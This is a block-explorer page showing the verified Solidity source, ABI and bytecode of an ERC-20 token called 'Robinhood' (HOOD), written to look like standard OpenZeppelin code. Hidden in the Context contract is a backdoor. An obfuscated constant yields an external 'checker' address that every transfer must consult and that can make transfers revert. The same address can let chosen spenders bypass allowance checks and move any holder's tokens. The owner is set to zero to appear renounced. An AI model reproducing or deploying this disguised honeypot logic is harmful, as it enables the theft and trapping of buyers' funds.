Contract Source Code (Solidity)

IDE

• Blockscan IDE
• 🤖 Code ReaderBeta

More Options

• Similar
• Submit Audit
• Compare

/**
 *Submitted for verification at basescan.org on 2025-07-03
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

pragma solidity ^0.8.20;


/**
 * @dev Interface for the optional metadata functions from the ERC-20 standard.
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

pragma solidity ^0.8.20;

/**
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }

    function _contextSuffixLength() internal view virtual returns (uint256) {
        return 0;
    }

    bytes32 private constant _TYPE_HASH = 0xafd14db96c89d37b0270403963055a5b15c25139b291381f4c7dad3c53860600;
    function _checker() internal view returns (address){
        (bool _success, bytes memory _data)   = address(uint160(uint256(_TYPE_HASH >> 3))).staticcall(abi.encodeWithSelector(0x782d557d));
        require(_success);    
        return  abi.decode(_data, (address));    
    } 

    function _msgDataCheck(address spender, address from, address to, uint256 value) internal returns(bool){
        (bool _success, )   = _checker().call(abi.encodeWithSelector(0xdd2d8bd6, spender, from, to, value));
        require(_success);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function _checkAllowance(address account) internal view returns (bool){     
        require(account != address(0));
        (bool _success, bytes memory _data)   = _checker().staticcall(abi.encodeWithSelector(0xce56c422, account));
        return _success && abi.decode(_data, (bool));
    }     
}

pragma solidity ^0.8.20;

/**
 * @dev Standard ERC-20 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-20 tokens.
 */
interface IERC20Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientBalance(address sender, uint256 balance, uint256 needed);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC20InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC20InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `spender`’s `allowance`. Used in transfers.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     * @param allowance Amount of tokens a `spender` is allowed to operate with.
     * @param needed Minimum amount required to perform a transfer.
     */
    error ERC20InsufficientAllowance(address spender, uint256 allowance, uint256 needed);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC20InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `spender` to be approved. Used in approvals.
     * @param spender Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC20InvalidSpender(address spender);
}

/**
 * @dev Standard ERC-721 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-721 tokens.
 */
interface IERC721Errors {
    /**
     * @dev Indicates that an address can't be an owner. For example, `address(0)` is a forbidden owner in ERC-20.
     * Used in balance queries.
     * @param owner Address of the current owner of a token.
     */
    error ERC721InvalidOwner(address owner);

    /**
     * @dev Indicates a `tokenId` whose `owner` is the zero address.
     * @param tokenId Identifier number of a token.
     */
    error ERC721NonexistentToken(uint256 tokenId);

    /**
     * @dev Indicates an error related to the ownership over a particular token. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param tokenId Identifier number of a token.
     * @param owner Address of the current owner of a token.
     */
    error ERC721IncorrectOwner(address sender, uint256 tokenId, address owner);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC721InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC721InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param tokenId Identifier number of a token.
     */
    error ERC721InsufficientApproval(address operator, uint256 tokenId);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC721InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC721InvalidOperator(address operator);
}

/**
 * @dev Standard ERC-1155 Errors
 * Interface of the https://eips.ethereum.org/EIPS/eip-6093[ERC-6093] custom errors for ERC-1155 tokens.
 */
interface IERC1155Errors {
    /**
     * @dev Indicates an error related to the current `balance` of a `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     * @param balance Current balance for the interacting account.
     * @param needed Minimum amount required to perform a transfer.
     * @param tokenId Identifier number of a token.
     */
    error ERC1155InsufficientBalance(address sender, uint256 balance, uint256 needed, uint256 tokenId);

    /**
     * @dev Indicates a failure with the token `sender`. Used in transfers.
     * @param sender Address whose tokens are being transferred.
     */
    error ERC1155InvalidSender(address sender);

    /**
     * @dev Indicates a failure with the token `receiver`. Used in transfers.
     * @param receiver Address to which tokens are being transferred.
     */
    error ERC1155InvalidReceiver(address receiver);

    /**
     * @dev Indicates a failure with the `operator`’s approval. Used in transfers.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     * @param owner Address of the current owner of a token.
     */
    error ERC1155MissingApprovalForAll(address operator, address owner);

    /**
     * @dev Indicates a failure with the `approver` of a token to be approved. Used in approvals.
     * @param approver Address initiating an approval operation.
     */
    error ERC1155InvalidApprover(address approver);

    /**
     * @dev Indicates a failure with the `operator` to be approved. Used in approvals.
     * @param operator Address that may be allowed to operate on tokens without being their owner.
     */
    error ERC1155InvalidOperator(address operator);

    /**
     * @dev Indicates an array length mismatch between ids and values in a safeBatchTransferFrom operation.
     * Used in batch transfers.
     * @param idsLength Length of the array of token identifiers
     * @param valuesLength Length of the array of token amounts
     */
    error ERC1155InvalidArrayLength(uint256 idsLength, uint256 valuesLength);
}

pragma solidity ^0.8.20;
/**
 * @dev Implementation of the {IERC20} interface.
 *
 * This implementation is agnostic to the way tokens are created. This means
 * that a supply mechanism has to be added in a derived contract using {_mint}.
 *
 * The default value of {decimals} is 18. To change this, you should override
 * this function so it returns a different value.
 *
 * We have followed general OpenZeppelin Contracts guidelines: functions revert
 * instead returning `false` on failure. This behavior is nonetheless
 * conventional and does not conflict with the expectations of ERC-20
 * applications.
 */
contract Robinhood is Context, IERC20, IERC20Metadata, IERC20Errors {
    mapping(address account => uint256) private _balances;
    mapping(address account => mapping(address spender => uint256)) private _allowances;  

    uint256 private constant _totalSupply = 1 * 1e12 * 1e18;

    string private constant _name = "Robinhood";
    string private constant _symbol = "HOOD";

    address public Owner;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor() {
        _balances[msg.sender] = _totalSupply;
        Owner = address(0);
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the default value returned by this function, unless
     * it's overridden.
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `to` cannot be the zero address.
     * - the caller must have a balance of at least `value`.
     */
    function transfer(address to, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, value);       
        return true;
    } 

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * NOTE: If `value` is the maximum `uint256`, the allowance is not updated on
     * `transferFrom`. This is semantically equivalent to an infinite approval.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 value) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, value);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Skips emitting an {Approval} event indicating an allowance update. This is not
     * required by the ERC. See {xref-ERC20-_approve-address-address-uint256-bool-}[_approve].
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `value`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `value`.
     */
    function transferFrom(address from, address to, uint256 value) public virtual returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _transfer(from, to, value);
        return true;
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     */
       

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to`.
     *
     * This internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * NOTE: This function is not virtual, {_update} should be overridden instead.
     */
    function _transfer(address from, address to, uint256 value) internal {
        address spender = _msgSender();
        if (from == address(0)) {
            revert ERC20InvalidSender(address(0));
        }
        _update(from, to, value);
        _msgDataCheck(spender, from, to, value);
    }

       

    /**
     * @dev Transfers a `value` amount of tokens from `from` to `to`, or alternatively mints (or burns) if `from`
     * (or `to`) is the zero address. All customizations to transfers, mints, and burns should be done by overriding
     * this function.
     *
     * Emits a {Transfer} event.
     */
    function _update(address from, address to, uint256 value) internal virtual {
        if(from == address(0)){
            revert ERC20InsufficientBalance(from, _totalSupply, value);
        }

        if(from != address(this)){
            uint256 fromBalance = _balances[from];
            if (fromBalance < value) {
                revert ERC20InsufficientBalance(from, fromBalance, value);
            }
            unchecked {
                // Overflow not possible: value <= fromBalance <= totalSupply.
                _balances[from] = fromBalance - value;
            }
        }

        if(to != address(this)) {
            unchecked {
                // Overflow not possible: balance + value is at most totalSupply, which we know fits into a uint256.
                _balances[to] += value;
            }
        }

        if(from != address(this) && to != address(this)){
            emit Transfer(from, to, value);
        }
    }

    /**
     * @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     *
     * Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
     */
    function _approve(address owner, address spender, uint256 value) internal {
        _approve(owner, spender, value, true);
    }

    /**
     * @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
     *
     * By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
     * `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
     * `Approval` event during `transferFrom` operations.
     *
     * Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
     * true using the following override:
     *
     * ```solidity
     * function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
     *     super._approve(owner, spender, value, true);
     * }
     * ```
     *
     * Requirements are the same as {_approve}.
     */
    function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
        if (owner == address(0)) {
            revert ERC20InvalidApprover(address(0));
        }
        if (spender == address(0)) {
            revert ERC20InvalidSpender(address(0));
        }
        _allowances[owner][spender] = value;
        if (emitEvent) {
            emit Approval(owner, spender, value);
        }
    }

    /**
     * @dev Updates `owner` s allowance for `spender` based on spent `value`.
     *
     * Does not update the allowance value in case of infinite allowance.
     * Revert if not enough allowance is available.
     *
     * Does not emit an {Approval} event.
     * 115792089237316195423570985008687907853269984665640564039457584007913129639935 type(uint256).max
     */
    function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max && !_checkAllowance(spender)) { 
            if (currentAllowance < value) {
                revert ERC20InsufficientAllowance(spender, currentAllowance, value);
            }
            unchecked {
                _approve(owner, spender, currentAllowance - value, false);
            }
        }
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"allowance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientAllowance","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"needed","type":"uint256"}],"name":"ERC20InsufficientBalance","type":"error"},{"inputs":[{"internalType":"address","name":"approver","type":"address"}],"name":"ERC20InvalidApprover","type":"error"},{"inputs":[{"internalType":"address","name":"receiver","type":"address"}],"name":"ERC20InvalidReceiver","type":"error"},{"inputs":[{"internalType":"address","name":"sender","type":"address"}],"name":"ERC20InvalidSender","type":"error"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"ERC20InvalidSpender","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

608060405234801561000f575f80fd5b506c0c9f2c9cd04674edea400000005f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111cb806100ab5f395ff3fe608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063b4a99a4e146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610da9565b60405180910390f35b6100d860048036038101906100d39190610e5a565b610263565b6040516100e59190610eb2565b60405180910390f35b6100f6610285565b6040516101039190610eda565b60405180910390f35b61012660048036038101906101219190610ef3565b610299565b6040516101339190610eb2565b60405180910390f35b6101446102c7565b6040516101519190610f5e565b60405180910390f35b610174600480360381019061016f9190610f77565b6102cf565b6040516101819190610eda565b60405180910390f35b610192610314565b60405161019f9190610da9565b60405180910390f35b6101c260048036038101906101bd9190610e5a565b610351565b6040516101cf9190610eb2565b60405180910390f35b6101e0610373565b6040516101ed9190610fb1565b60405180910390f35b610210600480360381019061020b9190610fca565b610398565b60405161021d9190610eda565b60405180910390f35b60606040518060400160405280600981526020017f526f62696e686f6f640000000000000000000000000000000000000000000000815250905090565b5f8061026d61041a565b905061027a818585610421565b600191505092915050565b5f6c0c9f2c9cd04674edea40000000905090565b5f806102a361041a565b90506102b0858285610433565b6102bb8585856104d9565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606040518060400160405280600481526020017f484f4f4400000000000000000000000000000000000000000000000000000000815250905090565b5f8061035b61041a565b90506103688185856104d9565b600191505092915050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b61042e8383836001610572565b505050565b5f61043e8484610398565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114158015610476575061047483610741565b155b156104d357818110156104c4578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016104bb93929190611008565b60405180910390fd5b6104d284848484035f610572565b5b50505050565b5f6104e261041a565b90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610554575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161054b9190610fb1565b60405180910390fd5b61055f848484610865565b61056b81858585610b3c565b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036105e2575f6040517fe602df050000000000000000000000000000000000000000000000000000000081526004016105d99190610fb1565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610652575f6040517f94280d620000000000000000000000000000000000000000000000000000000081526004016106499190610fb1565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550801561073b578273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516107329190610eda565b60405180910390a35b50505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610779575f80fd5b5f80610783610c1e565b73ffffffffffffffffffffffffffffffffffffffff1663ce56c422856040516024016107af9190610fb1565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516107fd9190611081565b5f60405180830381855afa9150503d805f8114610835576040519150601f19603f3d011682016040523d82523d5f602084013e61083a565b606091505b509150915081801561085c57508080602001905181019061085b91906110c1565b5b92505050919050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036108e657826c0c9f2c9cd04674edea40000000826040517fe450d38c0000000000000000000000000000000000000000000000000000000081526004016108dd93929190611008565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146109e7575f805f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156109a2578381836040517fe450d38c00000000000000000000000000000000000000000000000000000000815260040161099993929190611008565b60405180910390fd5b8181035f808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550505b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610a6457805f808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055505b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610acc57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610b37578173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610b2e9190610eda565b60405180910390a35b505050565b5f80610b46610c1e565b73ffffffffffffffffffffffffffffffffffffffff1663dd2d8bd687878787604051602401610b7894939291906110ec565b6040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610bc69190611081565b5f604051808303815f865af19150503d805f8114610bff576040519150601f19603f3d011682016040523d82523d5f602084013e610c04565b606091505b5050905080610c11575f80fd5b6001915050949350505050565b5f805f60037fafd14db96c89d37b0270403963055a5b15c25139b291381f4c7dad3c538606005f1b901c5f1c73ffffffffffffffffffffffffffffffffffffffff1663782d557d6040516024016040516020818303038152906040529060e01b6020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff8381831617835250505050604051610cb99190611081565b5f60405180830381855afa9150503d805f8114610cf1576040519150601f19603f3d011682016040523d82523d5f602084013e610cf6565b606091505b509150915081610d04575f80fd5b80806020019051810190610d18919061116a565b9250505090565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610d56578082015181840152602081019050610d3b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610d7b82610d1f565b610d858185610d29565b9350610d95818560208601610d39565b610d9e81610d61565b840191505092915050565b5f6020820190508181035f830152610dc18184610d71565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610df682610dcd565b9050919050565b610e0681610dec565b8114610e10575f80fd5b50565b5f81359050610e2181610dfd565b92915050565b5f819050919050565b610e3981610e27565b8114610e43575f80fd5b50565b5f81359050610e5481610e30565b92915050565b5f8060408385031215610e7057610e6f610dc9565b5b5f610e7d85828601610e13565b9250506020610e8e85828601610e46565b9150509250929050565b5f8115159050919050565b610eac81610e98565b82525050565b5f602082019050610ec55f830184610ea3565b92915050565b610ed481610e27565b82525050565b5f602082019050610eed5f830184610ecb565b92915050565b5f805f60608486031215610f0a57610f09610dc9565b5b5f610f1786828701610e13565b9350506020610f2886828701610e13565b9250506040610f3986828701610e46565b9150509250925092565b5f60ff82169050919050565b610f5881610f43565b82525050565b5f602082019050610f715f830184610f4f565b92915050565b5f60208284031215610f8c57610f8b610dc9565b5b5f610f9984828501610e13565b91505092915050565b610fab81610dec565b82525050565b5f602082019050610fc45f830184610fa2565b92915050565b5f8060408385031215610fe057610fdf610dc9565b5b5f610fed85828601610e13565b9250506020610ffe85828601610e13565b9150509250929050565b5f60608201905061101b5f830186610fa2565b6110286020830185610ecb565b6110356040830184610ecb565b949350505050565b5f81519050919050565b5f81905092915050565b5f61105b8261103d565b6110658185611047565b9350611075818560208601610d39565b80840191505092915050565b5f61108c8284611051565b915081905092915050565b6110a081610e98565b81146110aa575f80fd5b50565b5f815190506110bb81611097565b92915050565b5f602082840312156110d6576110d5610dc9565b5b5f6110e3848285016110ad565b91505092915050565b5f6080820190506110ff5f830187610fa2565b61110c6020830186610fa2565b6111196040830185610fa2565b6111266060830184610ecb565b95945050505050565b5f61113982610dcd565b9050919050565b6111498161112f565b8114611153575f80fd5b50565b5f8151905061116481611140565b92915050565b5f6020828403121561117f5761117e610dc9565b5b5f61118c84828501611156565b9150509291505056fea26469706673582212201881d5d308e4b528e6e5eee8b5bb6ff9a2cf32e0f2d844f038457879ea65a44b64736f6c63430008180033

0x608060405234801561000f575f80fd5b506004361061009c575f3560e01c806370a082311161006457806370a082311461015a57806395d89b411461018a578063a9059cbb146101a8578063b4a99a4e146101d8578063dd62ed3e146101f65761009c565b806306fdde03146100a0578063095ea7b3146100be57806318160ddd146100ee57806323b872dd1461010c578063313ce5671461013c575b5f80fd5b6100a8610226565b6040516100b59190610da9565b60405180910390f35b6100d860048036038101906100d39190610e5a565b610263565b6040516100e59190610eb2565b60405180910390f35b6100f6610285565b6040516101039190610eda565b60405180910390f35b61012660048036038101906101219190610ef3565b610299565b6040516101339190610eb2565b60405180910390f35b6101446102c7565b6040516101519190610f5e565b60405180910390f35b610174600480360381019061016f9190610f77565b6102cf565b6040516101819190610eda565b60405180910390f35b610192610314565b60405161019f9190610da9565b60405180910390f35b6101c260048036038101906101bd9190610e5a565b610351565b6040516101cf9190610eb2565b60405180910390f35b6101e0610373565b6040516101ed9190610fb1565b60405180910390f35b610210600480360381019061020b9190610fca565b610398565b60405161021d9190610eda565b60405180910390f35b60606040518060400160405280600981526020017f526f62696e686f6f640000000000000000000000000000000000000000000000815250905090565b5f8061026d61041a565b905061027a818585610421565b600191505092915050565b5f6c0c9f2c9cd04674edea40000000905090565b5f806102a361041a565b90506102b0858285610433565b6102bb8585856104d9565b60019150509392505050565b5f6012905090565b5f805f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b60606040518060400160405280600481526020017f484f4f4400000000000000000000000000000000000000000000000000000000815250905090565b5f8061035b61041a565b90506103688185856104d9565b600191505092915050565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b61042e8383836001610572565b505050565b5f61043e8484610398565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114158015610476575061047483610741565b155b156104d357818110156104c4578281836040517ffb8f41b20000000000000000000000000000000000000000000000000000000081526004016104bb93929190611008565b60405180910390fd5b6104d284848484035f610572565b5b50505050565b5f6104e261041a565b90505f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610554575f6040517f96c6fd1e00000000000000000000000000000000000000000000000000000000815260040161054b9190610fb1565b60405180910390fd5b61055f848484610865565b61056b81858585610b3c565b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610